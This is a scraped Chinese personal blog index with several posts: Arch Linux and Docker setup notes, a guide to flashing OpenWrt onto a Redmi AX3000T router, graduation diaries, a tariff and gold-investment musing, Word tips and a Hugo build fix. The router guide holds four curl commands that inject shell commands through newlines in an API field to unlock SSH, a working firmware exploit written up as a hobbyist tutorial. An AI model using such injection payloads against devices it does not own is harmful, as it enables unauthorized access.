位置:/etc/ssh/ssh_config(全局)、~/.ssh/config(用户) 设置内容:默认用户名、主机别名、私钥文件、代理跳板等 sshd_config 👉 服务端配置(别人连你) 位置:/etc/ssh/sshd_config 设置内容:监听端口、是否允许 root 登录、认证方式、允许用户等 ssh_config.d / sshd_config.d 👉 配置片段目录(模块化管理) 位置: 客户端:/etc/ssh/ssh_config.d/ 服务端:/etc/ssh/sshd_config.d/ 用途:存放额外 .conf 配置文件,被主配置 Include 引入,便于分文件管理 docker docker 安装配置 1 2 3 4 5 6 7 8 9 10 11 # 安装 sudo pacman -Syu sudo pacman -S docker # 开机自启动 docker 服务 sudo systemctl enable docker sudo systemctl start docker # 失败的话 切 root 试试 还不行就 reboot 一下 日志 20250908 今天买了服务器,主要是熟悉 Arch Linux ,简单配置下 SSH 什么的,部署下我的音乐播放器。 配置 SSH 免密 配置环境: sudo pacman -S --needed git base-devel sudo useradd -m -G wheel -s /bin/bash lihan sudo pacman -S vim sudo ln -s /usr/bin/vim /usr/bin/vi sudo visudo %wheel ALL=(ALL) ALL su - lihan git clone https://aur.archlinux.org/paru.git makepkg -si sudo pacman -Syu go mkdir -p ~/go/{bin,pkg,src} echo 'export GOPATH=$HOME/go' >> ~/.bashrc echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc source ~/.bashrc sudo pacman -S tmux 20250910 继续配置环境: cp -p /root/.ssh/authorized_keys /home/lihan/authorized_keys sudo chown lihan:lihan authorized_keys sudo pacman -Syu sudo pacman -S docker sudo systemctl enable docker sudo systemctl start docker

9/8/2025
articleCard.readMore

红米ax3000t_v1刷openwrt记录

购买注意 注意挑选能软件刷机的,硬破感觉我还没到那个地步 注意 红米 AX3000T 有三个版本,只有老版本 v1 v2 (官方v1)可以刷机,参见确认完全缩水!新版小米AX3000T的详细变化,小米这操作简直作 区别是 v1 v2 为 联发科芯片,v3 为高通芯片 可通过以下方式判断: 缩水版条形码末尾为330 缩水版 SN 号开头为645,满血版 SN 号开头为498 刷机 参考 小米 AX3000T 保姆级免拆刷 openWrt 教程以及排坑指南 小米 AX3000T 路由器刷入使用官方原版 OpenWrt / ImmortalWrt 固件 小米 AX3000T Openwrt 官方介绍 openwrt 支持硬件列表 小米路由器固件系统 v1.0.47 sha256sum miwifi_rd03_firmware_ef0ee_1.0.47.bin 77bf35b27b6ec29fbfe2c3f4280618cd70bade5e9998d407b634ce8a12825cc6 SN 码查询 ssh 密码 MobaXterm Portable v25.2 小米路由器修复工具 回退固件版本(1.0.47) 根据网友反馈,最新固件版本无法刷入 openwrt ,需要回退到 1.0.47 版本。 使用网线连接电脑和路由器(从左至右第二个接口) 关闭防火墙等安全软件,下载官方小米路由器修复工具及小米路由器固件系统 v1.0.47 使用sha256sum miwifi_rd03_firmware_ef0ee_1.0.47.bin 77bf35b27b6ec29fbfe2c3f4280618cd70bade5e9998d407b634ce8a12825cc6校验固件完整性 打开小米路由器修复工具,选择下载的固件(注意文件路径中不要有中文),点击下一步。 选择网卡,注意不要选错网卡。 按照提示操作,拔掉电源,按住 reset 键不放,插上电源,等待 10 秒至指示灯闪烁后松开 reset 键。 等待刷机完成,指示灯蓝灯闪烁后拔电源重启即完成降级。 连接 SSH 登录路由器管理后台,获取 URL 中的 stok 参数 打开命令行(注意是 CMD 命令提示符),输入以下命令解锁 SSH (注意替换<stok>和<sn>) 1 2 3 4 5 6 7 8 curl -X POST http://你的管理后台地址/cgi-bin/luci/;stok=你的值/api/misystem/arn_switch -d "open=1&model=1&level=%0Anvram%20set%20ssh_en%3D1%0A" curl -X POST http://你的管理后台地址/cgi-bin/luci/;stok=你的值/api/misystem/arn_switch -d "open=1&model=1&level=%0Anvram%20commit%0A" curl -X POST http://你的管理后台地址/cgi-bin/luci/;stok=你的值/api/misystem/arn_switch -d "open=1&model=1&level=%0Ased%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%22debug%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%0A" curl -X POST http://你的管理后台地址/cgi-bin/luci/;stok=你的值/api/misystem/arn_switch -d "open=1&model=1&level=%0A%2Fetc%2Finit.d%2Fdropbear%20start%0A" 每条命令输入回车后会弹出 {code:0} 即解锁成功。 使用 SN 码查询 SSH 密码 在SN 码查询 ssh 密码 输入路由器管理界面的 SN 码,获取 SSH 密码。 使用 MobaXterm Portable v25.2 连接路由器 打开 MobaXterm,点击 Session 选择 SSH,Remote host 填写路由器 IP 地址 账号 root 密码为上一步查询到的密码 看到 ARE U OK 即连接成功 备份 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 cat /proc/mtd # 备份全部 # !!!重要!!!请一行行执行命令,不要一次性复制粘贴执行,每备份一个,下载一个,删除一个 dd if=/dev/mtd1 of=/tmp/BL2.bin dd if=/dev/mtd2 of=/tmp/Nvram.bin dd if=/dev/mtd3 of=/tmp/Bdate.bin dd if=/dev/mtd4 of=/tmp/Factory.bin dd if=/dev/mtd5 of=/tmp/FIP.bin dd if=/dev/mtd6 of=/tmp/crash.bin dd if=/dev/mtd7 of=/tmp/crash_log.bin dd if=/dev/mtd8 of=/tmp/ubi.bin dd if=/dev/mtd9 of=/tmp/ubi1.bin dd if=/dev/mtd10 of=/tmp/overlay.bin dd if=/dev/mtd11 of=/tmp/date.bin dd if=/dev/mtd12 of=/tmp/KF.bin # 注意使用鼠标中键粘贴 注意下图的内存很小,tmp 目录下的文件储存在 RAM 中,重启后会丢失,且一次性生成太多会撑爆内存。 第一次刷入 openwrt initramfs-factory 下载 openwrt initramfs-factory 使用 MobaXterm 上传到路由器 /tmp 目录下 查看硬件信息:cat /proc/cmdline,视情况执行下面的命令 firmware = 0 时 1 2 3 4 5 6 7 8 9 10 ubiformat /dev/mtd9 -y -f "/tmp/openwrt-24.10.2-mediatek-filogic-xiaomi_mi-router-ax3000t-initramfs-factory.ubi" nvram set boot_wait=on nvram set uart_en=1 nvram set flag_boot_rootfs=1 nvram set flag_last_success=1 nvram set flag_boot_success=1 nvram set flag_try_sys1_failed=0 nvram set flag_try_sys2_failed=0 nvram commit reboot firmware = 1 时(我的情况) 1 2 3 4 5 6 7 8 9 10 11 ubiformat /dev/mtd8 -y -f "/tmp/openwrt-24.10.2-mediatek-filogic-xiaomi_mi-router-ax3000t-initramfs-factory.ubi" nvram set boot_wait=on nvram set boot_wait=on nvram set uart_en=1 nvram set flag_boot_rootfs=0 nvram set flag_last_success=0 nvram set flag_boot_success=1 nvram set flag_try_sys1_failed=0 nvram set flag_try_sys2_failed=0 nvram commit reboot 重启后,等待路由器指示灯变为蓝色常亮,重新 SSH 登录,管理页面 IP 为 192.168.1.1,账号为 root,密码为空。 随后刷入 openwrt squashfs-sysupgrade 下载 openwrt squashfs-sysupgrade 使用 MobaXterm 上传到路由器 /tmp 目录下 执行以下命令刷入 1 sysupgrade -n -v "/tmp/openwrt-24.10.2-mediatek-filogic-xiaomi_mi-router-ax3000t-squashfs-sysupgrade.bin" 重启后,等待路由器指示灯变为蓝色常亮,重新 SSH 登录,管理页面 IP 为 192.168.1.1,账号为 root,密码为空。 openwrt 使用 根据首页提示配置管理密码,ssh 密码与管理密码相同 1. 配置互联网连接(PPPoE) 进入管理页面-network-interfaces,编辑 WAN 选择 PPPoE,填写宽带账号密码 保存应用,等待连接成功 注意,每次更改配置后,需重新进入管理页面以防配置回退 2. 配置无线网络 进入管理页面-network-wireless,编辑 SSID 根据信道频率分别配置 2.4G 和 5G,加密选择 mixed WPA2/WPA3 PSK,填写密码 保存应用,等待连接成功 3. 安装常用软件包 进入管理页面-system-software,点击更新列表 update lists 注意使用网线连接电脑和路由器(从左至右第二个接口) 搜索并安装以下软件包 luci-i18n-base-zh-cn (中文界面) luci-i18n-firewall-zh-cn (防火墙中文) luci-i18n-opkg-zh-cn (软件包管理中文) 4. openclash

9/4/2025
articleCard.readMore

雨间初登emo山

雨间初登emo山 三秦岭下风渐暖, 塔盘沟顶云系峰。 emo山景西北异, 亦知研学路亦茫。 ———— 2025.09.04 于 emo山 小记 又迷茫了,压力很大,不知道能否做好,坚持下去。

9/4/2025
articleCard.readMore

毕业随想_250619

1 2 3 4 5 6 7 8 9 10 Should auld acquaintance be forgot, And never brought to mind? Should auld acquaintance be forgot, And auld lang syne? For auld lang syne, my jo, For auld lang syne, We'll tak a cup o' kindness yet, For auld lang syne. ———— Auld Lang Syne 毕业随想·拖延 1 date: 2025-06-19 23:17:00+0800 为毕业写点什么的想法恐怕从很早有了。特别是最后两个月里,每次和室友玩了一趟,都想着得赶紧记录下了,一是不放心自己不靠谱的记忆,二是让 1228 与我的本科时光在博客里永生吧。 除了客观的需求(主观的客观?),总是在情绪上来的时候更有码字的冲动,大部分随笔都诞生在消极的情绪下。上次的“毕业随笔”里说,一直用“理想与追求”麻痹自己,还担心毕业前的一两个月里都在忧伤中度过,不曾想和 1228 六个人连欢了两个月,把忧伤留到了最后。 想着有 cwt 拍的那些照片回忆,倒也不用那么担心我糟糕的记性,到毕业最后几天,本想着该抽出时间写了吧,晚上又是和 wy zhj 打《黑夜君临》去了,一拖就是回到了西安。本想着缩在我那闷热的小房间里,夜深人静戴着耳机酝酿下情绪该写了,乱七八糟的事情又搞得直到我来了武汉还是一笔没动。 这两天一直在倒腾新装的电脑,白天的时候准备在新电脑上开个文件服务器传文件来着,想着难得发个技术博文,顺便研究下新电脑的 Python 环境,搞个 miniconda,这新博客的需求上来了,我就跟那栈一样,不得不把早早想着的毕业随想顶出来了。 打开 VS Code 一看,好家伙上次这博客时间还是 19 号,回西安的第二天晚上————其实算第一天了,因为首日睡了一觉直接去乾县呆了一天。 不能再拖了,再拖着,那些记忆真的要模糊了。 时间·伤感 伤感对我来讲太熟悉了,至今仍记得三四岁的我,站在西安旧居的客厅中央,午后的日光洒在地板上,我看到拿着晾衣杆的母亲,忽然就有了一种奇怪的感觉。我想这就是第一次对时间的感伤吧。 小时候父母算管得严的了,除了看书,发呆思考和幻想是我打发时间的主要方式了,走在上学放学的路上,胡思乱想些什么很快就让路程被“跳过剧情”了,而夜晚则是我思考人生的主战场了。就在此刻坐着的书桌前,在阳台的玻璃门前,在捂着头的被窝里,我花了太多太多心思与感情在与时间周旋了。 小学高年级的时候,想到马上就要毕业,我躲在被窝里哭,那时候很享受伤感的感觉,总时有意让自己回忆从小到大的所有往事,这种“爱好”一直持续到高三的时候,现在想来,也算是年少不识愁滋味了。小学毕业后,毕业伤感的“程序”愈演愈烈,以至于初中高中刚入学就开始幻想毕业时候的伤感了。到了大学,我想自己总算意识到自己总能适应新的环境,这种感伤不过是对离开熟悉的环境熟悉的人的不安吧。 感伤与死亡纠缠起来,我对时间流逝之快是深恶痛绝,高中以后倒是开始厌恶起感伤,到了后来拒绝一丝一毫的情感波动的境地————悲剧内核的喜剧云云我是完全拒绝,看剧我就看只图一乐的“庸俗”剧情。唉,小时候那个看着星际精灵蓝多多还能为大结局流泪的 lihan 是一去不返了,这些年每次情绪波动起来的时候,自以为的理智思考跟消防员一样第一时间就会冲出来开始救火。 两年恋爱、为前途的努力(emmm努力?)、保研后混乱的生活还有疯玩的最后两个月把一切都推到毕业前的最后几天。我本以为自己不会再想小时候那样为毕业而感伤,追求、享乐或者其他什么东西,也许真的让我现实起来了。没想到毕业退无可退,情绪就连本带息的来收债了。 崩溃·朋友 这段日子里第一次崩溃也就是上次随笔的时候,和 cwt 吃了几次学校旁边的老陕老晋,逛了几次超市,几番交流下来,愈发舍不得与像他这样的朋友分别。 看来高考前那段时间我也想了不少哈哈,当时忽然意识到自己交朋友都是一段一段的,从五六年级开始与 xkw 的友情开始,每个朋友似乎都对应着一段时间和一端经历:xkw是陪我吃半秋山、看谍中谍、上培优班;cyt(算吗…)是初一被她戏弄;zzl lss srp 算是初中最后的日子里陪我胡闹的伙伴吧;高一认识了 lcy ,听我胡言乱语,一起桌游羽毛球乒乓球;后来是 fmm ,斗罗大陆与皇室战争时期;美国期间和 wsq 促膝长谈,“从小缺爱”让我记到了现在;疫情网课期间和后来,忽悠 xby 打各种游戏;高三和 zqz 的同桌的最后的日子里,让我模模糊糊看到了一点高中后的未来。 大学里和五个舍友也是轮番熟悉起来,先是谈恋爱时候拉着 zhj 到处陪我和 zyx 吃喝玩乐;分手后和 wy 折腾前卫艺术社;后来跟 cwt 研究 Linux 和博客;再后来天天拉着 lys 打游戏,出去玩,参加活动;最后和 lmx 也在毕业前算是熟悉了一些。 有些朋友过了那段时期就再也没什么联系,像 lcy 这样的朋友毕竟是少数,我自知是运气让我遇到了 1228————又有多少人愿意听我键政、陪我口嗨、半夜在宿舍楼道里通宵辩论:或者说,我不自信还会遇到这样让我能放松一切防备,为所欲为的人了。 一次通惠河边的长谈过后,我就在宿舍床上抱着电脑一边慌慌张张地码着博文一边想着即将分别,想着即将到来的研究生生活的无趣,忍不住埋在枕头上痛苦。 连着两个月的疯玩给情绪按下了暂停键,现在想来也不好说是“索性”吧。从雍和宫到古北水镇,从试驾 Su7 到叠人墙翻上野长城,我只是自顾自地一直快乐下去了。 6月15号毕业典礼的时候,我看着漫天飞散的彩纸,耳畔是校歌熟悉的旋律,泪水终是没忍住流下来两簇。我不明白,我不理解,我不接受,为什么光阴似箭,日月如梭,为什么 Happines always ends 。我只知道,大学本科从这一刻起不再是我的身份,我的生活,它永远化为了我的回忆。 天下没有不散的宴席,这样的道理谁又不懂,可是生命终有尽头,年轻的日子更是寸秒寸金,临别前讲的再见往往都是诀别。每一刻正在进行的经历不过是在制作中的回忆,当人和日子只能在脑海中追忆,快乐很快就氧化成了悲伤。 好在这天的太阳那么大,这天的阳光那么耀眼,这天的人也是熙熙攘攘,我没有崩溃太多,甚至还蹭了动院的毕业合照(哈哈)。 到了晚上蓝条便耗尽了,在最后日子里的每个晚上,我都忍不住地跑到通惠河边坐着。 我看着流淌的河水,看着塔吊还有后面慢慢挪移的月亮,我忽然意识到自己为什么这么难受:都是我干的啊!!!都是我干的!!!凭什么要给我夺走!!!大学四年的日子是我过的!朋友和陌生人都是我认识的!事情都是我干的!美食美景都是我品尝的!我辛辛苦苦好不容易经营出的四年大学时光,凭什么就这么付之一炬!!! 泪水止不住地滴落,我难受地躺在堤边打滚,担心弄脏衣服又忽地坐起。当眼泪滴落在岸边时,我想到也许若干年后再回到通惠河边,会看到当年的泪痕吗。 河边去了三四天吧,有时候在哭,好像隐隐约约又找到了点儿时感伤的快感,不过很快就是更大地痛苦涌上来;有时候我在拼命地想通痛苦的根源是什么,可是想通也没用,解决不了的问题,越是清楚,越是绝望;有时候我想我是需要一个人陪我吧,我会懊悔过去的错过,懊悔我推开的那些人,其实我要的永恒的陪伴,无论是过去还是未来,这个宇宙里是不可能找到的。 我好想好想现在有一个人,在我痛哭时坐在我身边,就像翻版的我一样彻彻底底地懂我的一切————我在通惠河边边哭边想。不过这样简单美好的幻想总是难以在我的脑海里存活几秒,忍不住继续想下去就会知道,没有永恒,那么越是完美的幸福,越是会在结束时带给我更大的伤痛,只有我自己才是最可靠的。 可是,可是,lihan 是社交动物,是社会关系的总和,可是,可是…… 我的脑袋在通惠河边没有一次是清醒的,河边奏起的友谊地久天长更是完美的背景音乐,正巧 wxy 发来毕业典礼的合照,我终是没忍住发了一张通惠河边的照片,我不敢奢望她或者是任何人能理解我,看着她发的老掉牙的安慰,我在想:像她这样的人会有这样的烦恼吗? 学业的成功自不必说,感情上记得她提过并没有这方面的追求,与刻板印象里的学霸形象不同,LOL、番剧、出游也丰富着她的娱乐生活,学生干部的工作也是有条不紊————这样把各个方面都平衡的状态其实一直是我渴望做到的,她真的做到了。她和 wzr 一样,他们总是知道自己要什么,自己要做什么,她们不会同我这般迷茫,亦不会有时间和精力去浪费自己的感情在这种荒谬的想法与事情上吧。 6月17日,我的痛苦正处极点,我真的好不想去 KTV ,我知道我会忍不住哭泣,可是我还是去了。和 lys 一路骑行过来,又是一阵畅想人生,到了 KTV 里,我真的无法面对这些人:zyx zhj lys wy cwt yxy lmx ,特别是有些人,也许我一生也不会再见到她们了。 wy 哭了,我真的听不得那些伤感的曲子,更见不得我的朋友的眼泪。我用尽了全身的力气在忍住我的泪水,此时此刻在码字的lihan亦是如此。 我不记得那可恶的泪水究竟淌下来了没有,临别的最后一顿终是定在了那家 lz 师哥 带我来的羊棒骨,即使我一开始希望能吃地更好些。一行人围在角落的圆桌,我根本没有心思尝菜,全部的力量都在阻止我的崩溃。 借口是什么我也记不得了,我又逃到了通惠河边,这次是河对岸。同样的崩溃,同样的嚎啕大哭,边哭还要边担心被他们发现。 wy 还是猜到了,我没有回复他的消息。 我想,我是不是没救了,我要一辈子陷入这痛苦的漩涡出不来了。这般的崩溃也不例外,伤感的情绪确实如同那古板的“吃饱了没事干导致的抑郁症”一般,在我忙起来时消散或者蛰伏。可是这也太痛苦了吧!!!我真的熬得过去这一关吗?真的,太难受了,真的太难受了,这也太夸张了。 答案自然是可以,我还是回到了宿舍,我还是活到了现在写下这篇帖子。可是剧烈的痛苦,让我下定了决心,研究生三年,我绝不会允许一个人如 1228 般进入我的世界。 【插曲】·春日影·一辈子 拖了几个月的帖子写到今天,耳边是单曲循环的 Mygo!!!!! 版本的 春日影,真的感觉自己能理解高松灯想要组一辈子乐队的请求(乞求)。弹幕说灯太重了,正如祥子骂素世只想着自己呢,灯确实是为了自己才希望组一辈子,可是灯和我都理解一个道理,没有永恒的保障,为了不承受结束的痛苦,我宁愿放弃享受快乐。只是我更贪心点,我不止要一辈子,我要永恒。 1228·青春 我有过很多感情,也与不少人和物有过牵连。有时我发现,每一段时期都有一个印在心底的象征。 每当我忆起爷爷奶奶,脑海里浮现的是我幼年在西安的短暂经历和那一个个回西安的假期。我总喜欢叫他们“爷!奶奶!”,而不是理论上的外公外婆,爷爷对我的爱浓缩在早晨的煎饼果子里。 田园般的少年生活早早就化作了 cyt 这个象征萦绕在我心头。她是我喜欢的第一个女生,也是我无忧无虑的小学初中生活的具象。 经历了快乐,结束时的痛苦也都让我刻骨铭心,纵使终究是忘却了。 倘若让我评价我的大学生活,也许我不会用成功来形容,毕竟无论是感情还是学业都有不少的遗憾与进步空间。我愿意用两个最庸俗不过的词语去描述:我度过了超级幸福与快乐的大学四年! 与过去的日子相比,大学的四年我很成功,我的成绩不再同高中般吊车尾,我也享受了两年的恋爱,我同 wy 组过社团,同 lys 混过酒吧,我打过游戏,游山玩水,遗憾绝谈不上! 一切的一切皆自 2021年9月9日第一次迈入 1228 这个宿舍起,也自 2025年6月18日最后一次迈出 1228 为终。 1228 之好我不再赘述,盖棺定论,我无悔将心全部掏出交由 1228,幸运的是 1228 亦未负我。 总之的总之,1228 几乎已经是我的整个青春————至少我是这么承认与定决了。 我情愿将 1228 与我的青春绑死,即使经历了并且还会再回味离别与结束时的绞痛,但这终究是最后一次的绝无仅有了。 是的,到此为止,到此为止了,我绝不再允许下一个 symbol 的出现了。 现实·逃跑 毕业之前,我用现实逃避痛苦,毕业之后,我还是只能用现实逃避痛苦。 2025年6月18日,离开 1228 ,离开 CUC 的日子。当分别进入倒计时,我情愿早点逃跑,每一秒钟都是对我的凌迟。偶然结识的对门师弟为我们用拍立得和他的古董相机记录下了我们分别前的照片,垂垂暮矣之时,我会拿着这几张照片跟子孙分享我的青春吗?还是在未来对着这些照片一个人以泪洗面?哈哈,我的 golden old days 。 没有告别,我趁所有人不注意第一个溜出来宿舍,带着我的行李箱步向离开之路。我怕五声“再见”足以让我放弃一切嵌入墙壁,永远住在 1228 的童话里。 毕业之别,更像是一场逃跑,自知追不上,索性转身逃走,免得看到青春渐行渐远。 本科的最后一个暑假,装了人生第一台自己装的电脑,看了人生第一次好好看的番,还有和 lcy 打了一假期的三角洲,稀里糊涂地就过去了。 夜半梦醒,对青春的留恋和痛苦仍不时折磨下我。 我要读清北博,我要当教授,我要努力,我又搬来了现实对抗它。 我开始幻想研究生三年努力学习,潜心科研,幻想我发顶会,练球技,醉笙歌……开学的两周里,我无不在想为我幻想的现实“努力”,纵使研究生的环境并称心,我仍下定了决心: 我决定放弃研究生的三年生命,不会再创造任何回忆,永远忠于我 1228 的青春 也许我的思路是一路当了教授,我可以做我想做的事情,也获得相对自由的时间与金钱,也许有了这些,我还可以重组 1228 总有一天,我们能一起唱春日影 即使,即使… 即使我知道,我在骗自己… ———— 终稿于 2025.9.14 午夜 于 NPWU 曾经那么想回到的西安,从定福庄1号到东祥路1号,祭奠我那些廉价又入骨的感情。

6/19/2025
articleCard.readMore

随想250424

1 2 3 4 5 6 我学着一个人 一整天 都不失落 就让我喝醉了 唱着歌 自娱自乐 开始怀疑了 被爱情击倒了 无可奈何 ————自娱自乐 金志文 前言 我好想回到那个什么都不用做 快乐就会自己过来的时候 毕业 离毕业还有一个半月,我知道我肯定得写点什么。 不是伤感不够,也不是懒,只是一直找不到感觉和才华。 240424夜 连着几天都很难受,今晚到了极限,哭了会儿好多了,激素调节还是厉害。 绝望 理解了绝望,所有的感伤都腐化成了痛苦,不给我一丝享受的机会。 永恒 10000年=1秒=0 痛苦的根源就是对永恒的渴望,我不愿依赖于任何一个人或事情,除了自己,甚至我的肉体我也不相信,总会结束的。 又是毕业 早就预料到毕业前的伤感,更早也知道我会适应新的环境,忘掉旧的人。 那我在哭什么,离别,还是快乐? 研究生 知道只是无意义的幻想焦虑,事实非但不会如此,自己更会适应环境,可一想到研究生,没有口嗨,没有键政,没有女生,没有游戏,甚至没有什么繁华市井,压抑的两年半真教人痛苦。 快乐 小时候什么都不用想,跟傻逼一样,不对就是傻逼,什么都不知道,可是快乐就跟不要钱一样自己就源源不断地过来了。 还有希望。 长大了欲望越来越大,曾经的愿望轻松就可以实现,腻了又腻,快乐成了我需要追求的目标。 大学里,疯玩两年游戏后的电子阳痿,下尽馆子的味觉疲劳,还有可以预见的对恋爱的彻底祛魅,让快乐几乎成为了奢侈品,不对,濒危物种。 幸运的是,无论必然偶然,1228的宿舍环境始终让我能够忘掉痛苦,假装快乐,从大一第一次小心翼翼地躺在床上口嗨的那一刻开始,我与痛苦的斗争便开了挂,真的假的快乐没什么区别,骗过大脑与激素就好了。 通惠河 无论是 cwt 还是我都绝不曾想到,此刻我最喜欢的人是他。如果有机会,我绝对愿意放弃研究生,同他一起上班。 是通惠河畔的畅谈吗,还是他身上我的影子?不,他身上有好多好多我喜欢过的人的影子,甚至是我自己。 不过不重要,他和大学生活没什么两样,我会忘掉他,我会遇到新的他。 会遇到吗? 高中 早也意识到高中彻底的失败,好多次了。cwt 嘴里,zhj 可见的高中,都是我期许中错过的高中生活。那不是远不可及的梦,是他们轻松就能够到,甚至不屑一顾的日常。 是成绩不好,所以过的不好吗,深究没有意义了,门前流水又不能西,徒增痛苦罢了。 结尾 Copilot 告诉我该结尾了,我也确是才尽于此了,过去几个月支撑我的所谓目标与追求忽然在今晚失灵了,不过也是最后一根稻草罢了。 游戏腻了,恋爱没有,毕业将至,没学会的穿搭,不听话的头发,还有眼见的压抑的两年半… Github 的博客是我追逐永恒的自慰工具,曾经是日记本,比日记本好,是我做的好。情绪一来,就慌慌张张地抱着电脑打开 VS Code 和熟悉的文件夹,写着写着,倒开始后悔情绪消融地太早,还没写完就没感觉了。 P.S. 我不是男同。

4/24/2025
articleCard.readMore

投资判断_2

关税 月初时,新闻说特朗普政府将对中国加征关税,我是没怎么注意,毕竟他放狠话不是一次两次了。 到了正式宣布加征关税的时候,网上铺天盖地都是新闻,除了惊讶还有对特朗普离谱操作的嘲讽,随着美股暴跌、美债收益率上升的是对特朗普的质疑乃至人身攻击。 我向来是不喜欢把人当傻逼的,每个人的行为,特别是所谓的政治家与国家的决策,我算是不太相信草台班子的理论的。 简单的推敲一番,特朗普的思路(lihan臆想版)便清晰起来了。 制造业回流 特朗普的一切政策都指向一个目的————制造业回流。特朗普希望美国的制造业重新发达起来,商品与生产力的回流会让美元更加稳固,物价下跌。特朗普的目标似乎要把美国重新变回教科书般的资本主义帝国主义国家————用最先进的生产力统治一切实体行业的国家垄断资本主义。用更马克思的思路讲,特朗普意识到资本主义已经进入存量时期,新的市场很难再出现,夺回国内市场,入侵外国市场,而不是继续玩金融的小把戏,才是继续维持资本主义扩大再生产的唯一出路,虽然仍解决不了根本问题。 因此,特朗普的关税政策只是他的工具,实际上他压根不在意具体的关税数值,他也无意在短期达成所谓对等关税的协定————如果在美国制造业回流前达成协定,美国无力填补空出来的国内市场,更遑论入侵外国市场了。因此,特朗普的关税政策与所谓专家宣称的不同,我认为是特朗普的长期政策————持续驱离外国的商品,直到美国制造业复兴,生产力足以填补国内的市场,甚至入侵外国市场。 关税的影响 特朗普压根不在意短期的经济波动,他只看长期————所以他肯定还要连任。短期内,关税的加征会导致美国的物价上涨,通货膨胀加剧,美元贬值。而中国作为特朗普的第一目标,为了对抗特朗普的关税政策,必然会开始放水,贬值人民币,鼓励被特朗普打回来的中国出口制造业资本继续流出。因此中美的贸易战对抗将会十分滑稽————俩兄弟比赛谁的货币贬值更快。 黄金涨自不必说,比特币也会迎来一波上涨。但是中长期的结果还是取决于特朗普的政策是否成功。 倘若成功,美国制造业回流,抢占全球市场,美国再次成为世界工厂,美国资本主义续命几十年。相对,中国将会失去全球市场,经济萎缩,陷入通缩,资本主义扩大再生产停滞,接下来就是重回马克思了。 如果失败,中国找到了新的市场,或者美国的经济没有挺到制造业回流,那么中国的崛起势不可挡,中国将会取代美国成为帝国主义的核心,反倒是美国可能要迎来马克思了。 如此看来,黄金长期的结果很难说,因为特朗普这次属于掀桌子,世界经济会一片混乱,甚至天翻地覆。短期内肯定时涨的,特别是美联储降息,央行降息后。 买黄金就完了!

4/16/2025
articleCard.readMore

Word 中公式显示不全问题

问题 Word 文档中插入公式包含多级上下标,由于行距问题,可能出现显示不全的问题: 解决1(调整行距) 选中公式,并按ctrl+1,即可。 解决2(调整文本对齐方式) 如果不想调整行距,在行距足够的情况下,可以调整文本对齐方式: 选中公式右键选择段落 选择中文版式 将对齐方式改为居中,即可

4/11/2025
articleCard.readMore

Word 转 PDF 页眉报错问题

问题 Word 文档设置页眉后,转为 PDF 时,页眉显示错误: 1 Error! Use the Home tab to apply 标题 3 to the text that you want to appear here. 解决 页眉中选择了 Word 的样式,由于一些 BUG 转为 PDF 时,样式的变量名出现问题,无法选择正确的样式。 更改页眉中的样式名即可: 选择页眉 右键选择切换域代码 将代码中的标题 1改为1,再次右键选择切换域代码,即可

4/11/2025
articleCard.readMore

Hugo+GitHubPages 报错 timeout 超时

问题 1 2 3 4 5 6 7 8 9 Run hugo \ hugo: collected modules in 1126 ms Start building sites … hugo v0.123.8-5fed9c591b694f314e5939548e11cc3dcb79a79c+extended linux/amd64 BuildDate=2024-03-07T13:14:42Z VendorInfo=gohugoio ERROR render of "home" failed: "/tmp/hugo_cache_runner/modules/filecache/modules/pkg/mod/github.com/!cai!jimmy/hugo-theme-stack/v3@v3.30.0/layouts/index.html:9:15": execute of template failed: template: index.html:9:15: executing "main" at <partial "article-list/default" .>: error calling partial: "/tmp/hugo_cache_runner/modules/filecache/modules/pkg/mod/github.com/!cai!jimmy/hugo-theme-stack/v3@v3.30.0/layouts/partials/article-list/default.html:3:7": execute of template failed: template: partials/article-list/default.html:3:7: executing "partials/article-list/default.html" at <partial "article/components/header" .>: error calling partial: partial "article/components/header" timed out after 30s. This is most likely due to infinite recursion. If this is just a slow template, you can try to increase the 'timeout' config setting. Total in 70757 ms Error: error building site: render: failed to render pages: render of "home" failed: "/tmp/hugo_cache_runner/modules/filecache/modules/pkg/mod/github.com/!cai!jimmy/hugo-theme-stack/v3@v3.30.0/layouts/index.html:9:15": execute of template failed: template: index.html:9:15: executing "main" at <partial "article-list/default" .>: error calling partial: "/tmp/hugo_cache_runner/modules/filecache/modules/pkg/mod/github.com/!cai!jimmy/hugo-theme-stack/v3@v3.30.0/layouts/partials/article-list/default.html:3:7": execute of template failed: template: partials/article-list/default.html:3:7: executing "partials/article-list/default.html" at <partial "article/components/header" .>: error calling partial: partial "article/components/header" timed out after 30s. This is most likely due to infinite recursion. If this is just a slow template, you can try to increase the 'timeout' config setting. Error: Process completed with exit code 1. Hugo + Stack 部署在 GitHub Pages 下,一次正常更新推文后,突然出现部署失败,报错如上。 解决 由于在.gitignore中添加了public/ resources/,导致在 GitHub Actions 每次会重新生成所有图片等资源,如果过多就会导致超时。 将config\_default\hugo.toml中的timeout设置为120(单位为秒),可以解决问题。 1 timeout = 120 一劳永逸 正确调用 Github Actions 的 Cache 功能,避免每次都重新生成所有资源。 在config/_default/caches.toml中添加缓存配置: 1 2 3 [images] dir = ':cacheDir/images' 在.github/workflows/hugo.yml中添加缓存配置: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ······ - name: Cache Restore id: cache-restore uses: actions/cache/restore@v4 with: path: ${{ runner.temp }}/hugo_cache key: hugo-${{ github.run_id }} restore-keys: | hugo- ······ - name: Cache Save uses: actions/cache/save@v4 with: path: ${{ runner.temp }}/hugo_cache key: ${{ steps.cache-restore.outputs.cache-primary-key }} ······ 完整的.github/workflows/hugo.yml文件如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 name: Deploy Hugo site to Pages on: push: branches: ["main"] workflow_dispatch: permissions: contents: read pages: write id-token: write concurrency: group: "pages" cancel-in-progress: false defaults: run: shell: bash jobs: build: runs-on: ubuntu-latest timeout-minutes: 10 env: HUGO_VERSION: 0.128.0 steps: - name: Install Hugo CLI run: | wget -O ${{ runner.temp }}/hugo.deb 